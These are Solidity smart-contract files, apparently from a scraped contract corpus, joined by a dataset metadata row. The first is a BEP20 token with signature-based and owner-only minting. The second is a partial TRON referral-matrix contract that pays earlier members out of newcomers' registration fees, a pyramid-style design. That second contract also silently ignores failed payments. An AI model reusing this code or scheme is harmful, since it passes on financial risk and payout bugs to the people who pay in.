function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contractsStrings.sol
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function indexOf(string memory _base, string memory _value)
internal
pure
returns (int) {
return _indexOf(_base, _value, 0);
}
function _indexOf(string memory _base, string memory _value, uint _offset)
internal
pure
returns (int) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length == 1);
for (uint i = _offset; i < _baseBytes.length; i++) {
if (_baseBytes[i] == _valueBytes[0]) {
return int(i);
}
}
return -1;
}
}
contract BEP20Token is Context, IBEP20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(string => bool) public SwapKey;
mapping(address => uint) public AmountToMint;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
bool public pause = false;
address private signerAddress = 0x960A4406d23Cb0cced0584B769bde13de60F27c5;
constructor() {
_name = "POT Token";
_symbol = "POT";
_decimals = 18;
_totalSupply = 0;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - (amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + (addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - (subtractedValue));
return true;
}
function mint(string calldata _rawdata,bytes calldata _sig, uint256 amount) public returns (bool) {
require(pause == false, "Contract is paused");
string memory data = Strings.strConcat(_rawdata, _uint2str(amount));
require(SwapKey[data] == false, "Key Already Claimed");
require(isValidData(data, _sig), "Invalid Signature");
require(amount > 0, "Invalid fund");
SwapKey[data] = true;
_mint(_msgSender(), amount);
return true;
}
function ownerMint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender] - (amount);
_balances[recipient] = _balances[recipient] + (amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply + (amount);
_balances[account] = _balances[account] + (amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account] - (amount);
_totalSupply = _totalSupply - (amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()] - (amount));
}
function toBytes(address a) public pure returns (bytes memory b){
assembly {
let m := mload(0x40)
a := and(a, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, a))
mstore(0x40, add(m, 52))
b := m
}
}
function addressToString(address _addr) internal pure returns(string memory) {
// bytes32 value = bytes32(uint256(_addr));
bytes32 value = keccak256(abi.encodePacked(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = "0";
str[1] = "x";
for (uint i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];
str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];
}
return string(str);
}
function toAsciiString(address x) internal pure returns (string memory) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i)))));
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2*i] = char(hi);
s[2*i+1] = char(lo);
}
return string(s);
}
function char(bytes1 b) internal pure returns (bytes1 c) {
if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
else return bytes1(uint8(b) + 0x57);
}
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
uint8 i = 0;
bytes memory bytesArray = new bytes(64);
for (i = 0; i < bytesArray.length; i++) {
uint8 _f = uint8(_bytes32[i/2] & 0x0f);
uint8 _l = uint8(_bytes32[i/2] >> 4);
bytesArray[i] = toByte(_f);
i = i + 1;
bytesArray[i] = toByte(_l);
}
return string(bytesArray);
}
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function splitSignature(bytes memory sig)
public
pure
returns (uint8, bytes32, bytes32)
{
require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
function recoverSigner(bytes32 message, bytes memory sig)
public
pure
returns (address)
{
uint8 v;
bytes32 r;
bytes32 s;
(v, r, s) = splitSignature(sig);
return ecrecover(message, v, r, s);
}
function isValidData(string memory _word, bytes memory sig) public view returns(bool){
bytes32 message = keccak256(abi.encodePacked(_word));
return (recoverSigner(message, sig) == signerAddress);
}
function toByte(uint8 _uint8) public pure returns (bytes1) {
if(_uint8 < 10) {
return bytes1(_uint8 + 48);
} else {
return bytes1(_uint8 + 87);
}
}
function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 ii = _i;
uint256 len;
// Get number of bytes
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
// Get each individual ASCII
while (ii != 0) {
bstr[k--] = bytes1(uint8(48 + ii % 10));
ii /= 10;
}
// Convert to string
return string(bstr);
}
}
| 57,396 | 10,530 |
7b06cc07d35281e88afea1f1b7c99c8c02e30a73eed270740e11daccc99bdde3
| 37,402 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TL1KMo5DAzsaKijLihvgV2oGi5Fqm9LooY_Autoxify.sol
| 8,422 | 32,328 |
//SourceUnit: autoxifymainnettest (8).sol
pragma solidity 0.4.25;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TRC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Autoxify {
using SafeMath for uint256;
TRC20Interface Tokenaddress;
uint256 public UpgradeTokenDistributed;
uint256 public RegistrationTokenDistributed;
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint256 => bool) activeX3Levels;
mapping(uint256 => bool) activeX6Levels;
mapping(uint256 => X3) x3Matrix;
mapping(uint256 => X6) x6Matrix;
uint256 noofreferralActivated;
uint lasttimereferralActivated;
bool paidbonus;
bool oldmember;
uint256 oldactiveslots;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
struct currentPayment
{
uint userid;
address currentPaymentAddress;
uint level;
uint256 noofpayments;
uint256 totalpayment;
bool activatorflag;
bool upgradeflag;
bool israplaceflag;
}
uint256 public idd =1;
uint8 public currentStartingLevel = 1;
uint8 public constant LAST_LEVEL = 20;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public oldIdMapping;
uint256 public oldUseridMapping=1;
uint256 public paymentbonusid=1;
mapping(uint => mapping(uint=>currentPayment)) public currentpayment;
uint public lastUserId = 22910;
address public owner;
address public oldcontractaddress;
mapping(uint256 => uint) public levelPricex3;
mapping(uint256 => uint) public levelPricex4;
mapping(uint8 => uint) public RewardToken;
mapping(uint256 => uint) public Currentuserids;
mapping(uint256 => uint) public CurrentPaymentid;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId,uint activaterefferaltimestamp);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint256 level,bool reactivatorflag);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint256 level,bool reactivatorflag);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint256 level, uint256 place,bool reactivatorflag,bool recflag,bool israplace);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint256 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint256 level);
event RewardBonus(address users,address refferal);
constructor(address ownerAddress,address oldaddress,TRC20Interface tokenaddress) public {
Tokenaddress = tokenaddress;
levelPricex3[1] = 50 trx;
for (uint256 ii = 2; ii <= LAST_LEVEL; ii++) {
levelPricex3[ii] = levelPricex3[ii.sub(1)].mul(2);
}
levelPricex4[1] = 80 trx;
for (uint256 jj = 2; jj <= LAST_LEVEL; jj++) {
levelPricex4[jj] = levelPricex4[jj.sub(1)].mul(2);
}
RewardToken[1] = 0;
RewardToken[2]= 100;
RewardToken[3]= 200;
RewardToken[4]= 300;
RewardToken[5]= 400;
RewardToken[6]= 500;
RewardToken[7]= 750;
RewardToken[8]= 1000;
RewardToken[9]= 1500;
RewardToken[10]= 2000;
RewardToken[11]= 5000;
RewardToken[12]= 7500;
RewardToken[13]= 10000;
RewardToken[14]= 15000;
RewardToken[15]= 20000;
RewardToken[16]= 30000;
RewardToken[17]= 40000;
RewardToken[18]= 50000;
RewardToken[19]= 100000;
RewardToken[20]= 200000;
owner = ownerAddress;
oldcontractaddress=oldaddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0),
noofreferralActivated : 0,
lasttimereferralActivated : now.add(3 days),
paidbonus:false,
oldmember:true,
oldactiveslots:1
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
Currentuserids[1]=Currentuserids[1].add(1);
users[ownerAddress].activeX3Levels[1] = true;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX6Levels[i] = true;
CurrentPaymentid[i] = 1;
}
currentPayment memory currentpay = currentPayment({
userid : Currentuserids[1],
currentPaymentAddress: owner,
level: 1,
noofpayments : 0,
totalpayment : 0,
activatorflag:false,
upgradeflag:true,
israplaceflag:false
});
currentpayment[1][Currentuserids[1]] = currentpay;
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 2, "invalid matrix");
require(msg.value == levelPricex4[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
require(users[msg.sender].activeX6Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
safedefitokenTransferUpgrade(msg.sender,level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level,false);
}
function registration(address userAddress, address referrerAddress) private {
require(!isUserExists(userAddress), "user exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
if(migrateOldData(msg.value)){
users[userAddress].lasttimereferralActivated = now.add(3 days);
users[userAddress].oldmember=true;
emit Registration(userAddress, users[userAddress].referrer, users[userAddress].id, users[users[userAddress].referrer].id,now.add(3 days));
}
else{
require(isUserExists(referrerAddress), "referrer not exists");
require(msg.value == 280 trx, "invalid registration cost");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
noofreferralActivated : 0,
lasttimereferralActivated : now.add(3 days),
paidbonus:false,
oldmember:false,
oldactiveslots:1
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
lastUserId=lastUserId.add(1);
users[referrerAddress].partnersCount=users[referrerAddress].partnersCount.add(1);
users[userAddress].activeX6Levels[1] = true;
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id,now.add(3 days));
}
safedefitokenRegistration(msg.sender);
users[userAddress].activeX3Levels[1] = true;
address freeX3Referrer = msg.sender;
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
UpdateX3(1,userAddress,false,true,false);
}
function UpdateX3(uint256 level,address caddress,bool activatorflag,bool upgradeflag,bool israplaceflag) private
{
Currentuserids[level]=Currentuserids[level].add(1);
currentPayment memory currentpay = currentPayment({
userid : users[caddress].id,
currentPaymentAddress: caddress,
level: level,
noofpayments : 0,
totalpayment : 0,
activatorflag : activatorflag,
upgradeflag:upgradeflag,
israplaceflag:israplaceflag
});
currentpayment[level][Currentuserids[level]] = currentpay;
if(Currentuserids[level]==CurrentPaymentid[level]){
if (!address(uint160(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress)).send(levelPricex3[level].div(2))) {
}
}else{
currentpayment[level][CurrentPaymentid[level]].noofpayments=currentpayment[level][CurrentPaymentid[level]].noofpayments.add(1);
currentPayment memory ActivePaymentUserDetails = currentpayment[level][CurrentPaymentid[level]];
emit NewUserPlace(caddress, ActivePaymentUserDetails.currentPaymentAddress, 1, level,ActivePaymentUserDetails.noofpayments,activatorflag,ActivePaymentUserDetails.activatorflag,israplaceflag);
}
if(users[ActivePaymentUserDetails.currentPaymentAddress].activeX3Levels[level.add(1)] == true || level==LAST_LEVEL)
{
if(currentpayment[level][CurrentPaymentid[level]].noofpayments == 2 && currentpayment[level][CurrentPaymentid[level]].upgradeflag && level!=LAST_LEVEL)
{
currentPayment memory ActivePayment=currentpayment[level][CurrentPaymentid[level]];
emit Upgrade(ActivePayment.currentPaymentAddress, currentpayment[level.add(1)][CurrentPaymentid[level.add(1)]].currentPaymentAddress, 1, level.add(1),ActivePayment.activatorflag);
users[ActivePaymentUserDetails.currentPaymentAddress].activeX3Levels[level.add(1)]=true;
UpdateX3(level.add(1),currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,currentpayment[level][CurrentPaymentid[level]].activatorflag,true,false);
}
if(currentpayment[level][CurrentPaymentid[level]].noofpayments == 3)
{
currentpayment[level][CurrentPaymentid[level]].noofpayments = 0;
CurrentPaymentid[level]=CurrentPaymentid[level].add(1);
emit Reinvest(ActivePaymentUserDetails.currentPaymentAddress,currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,1,level,ActivePaymentUserDetails.activatorflag);
UpdateX3(level,ActivePaymentUserDetails.currentPaymentAddress,ActivePaymentUserDetails.activatorflag,false,false);
}
else{
if(level==4 && currentpayment[level][CurrentPaymentid[level]].noofpayments == 1 &&
!users[currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress].paidbonus &&
!users[currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress].oldmember &&
currentpayment[level][CurrentPaymentid[level]].upgradeflag==false){
if(oldIdMapping[paymentbonusid]!=address(0)){
if (address(uint160(oldIdMapping[paymentbonusid])).send(levelPricex3[level])) {
users[currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress].paidbonus=true;
emit RewardBonus(oldIdMapping[paymentbonusid],currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress);
paymentbonusid=paymentbonusid.add(1);
}
}
else if (!address(uint160(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress)).send(levelPricex3[level])) {
}
}
else if(currentpayment[level][CurrentPaymentid[level]].upgradeflag==false){
if (!address(uint160(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress)).send(levelPricex3[level])) {
}
}
}
}
else
{
if(currentpayment[level][CurrentPaymentid[level]].noofpayments == 2)
{
emit Upgrade(currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress, caddress, 1, level.add(1),false);
users[ActivePaymentUserDetails.currentPaymentAddress].activeX3Levels[level.add(1)]=true;
UpdateX3(level.add(1),currentpayment[level][CurrentPaymentid[level]].currentPaymentAddress,currentpayment[level][CurrentPaymentid[level]].activatorflag,true,false);
}
else
{
}
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint256 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length),false,false,false);
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5,false,false,false);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6,false,false,false);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3,false,false,false);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4,false,false,false);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5,false,false,false);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6,false,false,false);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint256 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length),false,false,false);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint256(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length).add(2),false,false,false);
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length),false,false,false);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint256(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length).add(4),false,false,false);
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint256 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level.add(1)] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount=users[referrerAddress].x6Matrix[level].reinvestCount.add(1);
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level,false);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level,false);
sendETHDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint256 level) public view returns(address) {
while (true) {
if(users[userAddress].referrer==address(0) || !isUserExists(users[userAddress].referrer)){
return owner;
}
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint256 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
if(receiver==address(0) || !isUserExists(receiver)){
return (owner,isExtraDividends);
}
return (receiver, isExtraDividends);
}
}
}
}
